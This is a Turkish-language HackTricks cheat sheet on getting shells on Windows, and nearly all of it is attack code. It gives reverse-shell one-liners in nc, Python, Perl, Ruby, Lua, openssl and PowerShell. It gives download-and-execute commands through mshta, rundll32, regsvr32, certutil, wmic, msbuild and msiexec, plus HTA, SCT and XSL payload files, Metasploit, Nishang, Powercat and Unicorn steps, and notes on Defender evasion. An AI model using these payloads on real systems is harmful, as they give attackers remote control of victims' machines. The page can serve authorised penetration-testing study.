Shells - Windows

Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Try Hard Güvenlik Grubu


Lolbas

lolbas-project.github.io sayfası, Windows için https://gtfobins.github.io/ gibi bir sayfadır. Açıkça, Windows'ta SUID dosyaları veya sudo ayrıcalıkları bulunmamaktadır, ancak bazı dizinlerin nasıl (kötüye) kullanılabileceğini bilmek, keyfi kod yürütme gibi beklenmeyen eylemleri gerçekleştirmek için nasıl bazı dizinlerin kullanılabileceğini bilmek faydalıdır.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd taşınabilir ve güvenli bir Netcat alternatifidir. Unix benzeri sistemlerde ve Win32'de çalışır. Güçlü şifreleme, program yürütme, özelleştirilebilir kaynak portları ve sürekli yeniden bağlanma gibi özelliklere sahip olan sbd, TCP/IP iletişimi için çok yönlü bir çözüm sunar. Windows kullanıcıları için, Kali Linux dağıtımındaki sbd.exe sürümü, Netcat için güvenilir bir alternatif olarak kullanılabilir.

# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)

Python

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

Perl, Windows'ta oldukça yaygın olarak kullanılan bir betikleme dilidir. Perl betikleri genellikle .pl uzantılı dosyalarda bulunur. Perl betiklerini Windows üzerinde çalıştırmak için, öncelikle Perl yorumlayıcısını indirip yüklemeniz gerekir. Perl betiklerini Windows komut istemcisinde çalıştırmak için aşağıdaki komutu kullanabilirsiniz:

perl script.pl

Bu komut, belirtilen Perl betiğini çalıştıracaktır.

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Ruby, açık kaynaklı bir programlama dilidir ve genellikle Ruby on Rails web uygulama çerçevesinde kullanılır. Ruby ile Windows üzerinde kabuk oluşturmak için çeşitli yöntemler vardır. Bu yöntemler arasında msfvenom aracını kullanarak Ruby kabuk oluşturma, weevely aracını kullanarak Ruby kabuk oluşturma ve Ruby'yi Windows komut istemine dönüştürme bulunmaktadır. Bu yöntemler, Windows hedeflerinde kabuk oluşturmak için kullanılabilir.

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

Lua, bir betik dili ve hafif bir çoklu programlama dilidir. Lua, C programlama diline benzer bir sözdizimine sahiptir ve C ile kolayca entegre edilebilir. Lua, genellikle oyun geliştirme ve uygulama betikleme için kullanılır. Lua, basit ve hızlı bir şekilde öğrenilebilir ve esnek bir dil olarak bilinir. Lua, birçok platformda desteklenir ve geniş bir topluluk tarafından desteklenmektedir.

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

Saldırgan (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Kurban

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Ağ çağrısı yapan işlem: powershell.exe Diskte yazılmış yük: HAYIR (en azından procmon kullanarak bulamadığım yerde!)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Ağ çağrısı yapan işlem: svchost.exe Diskte yazılmış yük: WebDAV istemci yerel önbelleği

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Bu belgenin sonunda farklı Powershell Kabukları hakkında daha fazla bilgi edinin

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
mshta \\webdavserver\folder\payload.hta

hta-psh ters kabuk örneği (hta kullanarak PS arka kapı indirme ve çalıştırma)

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

Koadic zombi dosyasını stager hta kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz

hta örneği

Buradan

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

mshta - sct

Buradan

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Mshta - Metasploit

Mshta is a utility in Windows that executes Microsoft HTML Applications (HTA). Metasploit has a module that can be used to execute malicious HTA payloads using mshta.exe. This technique can be used to bypass application whitelisting and execute arbitrary code on a target system.

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

Defender tarafından tespit edildi

Rundll32

Dll merhaba dünya örneği

rundll32 \\webdavserver\folder\payload.dll,entrypoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Defender tarafından tespit edildi

Rundll32 - sct

Buradan

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Rundll32 - Metasploit

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Defender tarafından tespit edildi

Regsvr32 -sct

Buradan

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

Regsvr32 - Metasploit

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

Koadic zombi dosyasını regsvr aracılığıyla çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz

Certutil

Bir B64dll indirin, çözümleyin ve çalıştırın.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Bir B64exe indirin, onu çözümleyin ve çalıştırın.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Defender tarafından tespit edildi

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Defender tarafından tespit edildi

PS-Bat

\\webdavserver\folder\batchfile.bat

Ağ çağrısı yapan işlem: svchost.exe Diskte yazılmış yük: WebDAV istemci yerel önbelleği

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat

Defender tarafından tespit edildi

MSIExec

Saldırgan

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

Kurban:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

Tespit Edildi

Wmic

wmic os get /format:"https://webserver/payload.xsl"

Örnek xsl dosyası buradan:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

Algılanmadı

Koadic zombi dosyasını çok kolay bir şekilde wmic aşamasını kullanarak indirebilir ve çalıştırabilirsiniz

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Bu teknik, Uygulama Beyaz Listeleme ve Powershell.exe kısıtlamalarını atlamak için kullanılabilir. Bir PS kabuğu ile karşılaşacaksınız. Sadece bunu indirin ve çalıştırın: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

Tespit edilmedi

CSC

Kurban makinede C# kodunu derle.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

İşte temel bir C# ters kabuk indirebilirsiniz: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Tespit edilmedi

Regasm/Regsvc

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Denemedim

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Denemedim

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Powershell Kabukları

PS-Nishang

https://github.com/samratashok/nishang

Kabuklar klasöründe birçok farklı kabuk bulunmaktadır. Invoke-PowerShellTcp.ps1 dosyasını indirip çalıştırmak için betik dosyasının bir kopyasını oluşturun ve dosyanın sonuna ekleyin:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Sunucuda betiği hizmete başlatın ve kurbanın sonunda çalıştırın:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender henüz kötü amaçlı kod olarak algılamıyor (henüz, 3/04/2019).

YAPILACAKLAR: Diğer nishang kabuklarını kontrol et

PS-Powercat

https://github.com/besimorhino/powercat

İndirin, bir web sunucusu başlatın, dinleyiciyi başlatın ve kurbanın ucunda çalıştırın:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender henüz kötü amaçlı kod olarak algılamıyor (henüz, 3/04/2019).

Powercat tarafından sunulan diğer seçenekler:

Bağlama kabukları, Ters kabuk (TCP, UDP, DNS), Port yönlendirme, yükleme/indirme, Yük oluşturma, Dosyaları sunma...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Bir powershell başlatıcısı oluşturun, bir dosyaya kaydedin ve indirip çalıştırın.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Tespit edilen zararlı kod

MSF-Unicorn

https://github.com/trustedsec/unicorn

Unicorn kullanarak metasploit arka kapısının bir PowerShell versiyonunu oluşturun

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Oluşturulan kaynakla msfconsole'ı başlatın:

msfconsole -r unicorn.rc

Başlangıçta, powershell_attack.txt dosyasını sunan bir web sunucusu başlatın ve kurban üzerinde aşağıdaki komutu çalıştırın:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Tespit edilen zararlı kod

Daha Fazla

PS>Attack Bazı saldırgan PS modülleri önceden yüklenmiş PS konsolu (şifreli) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 WinPWN Bazı saldırgan PS modülleri ve proxy tespiti ile PS konsolu (IEX)

Referanslar

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated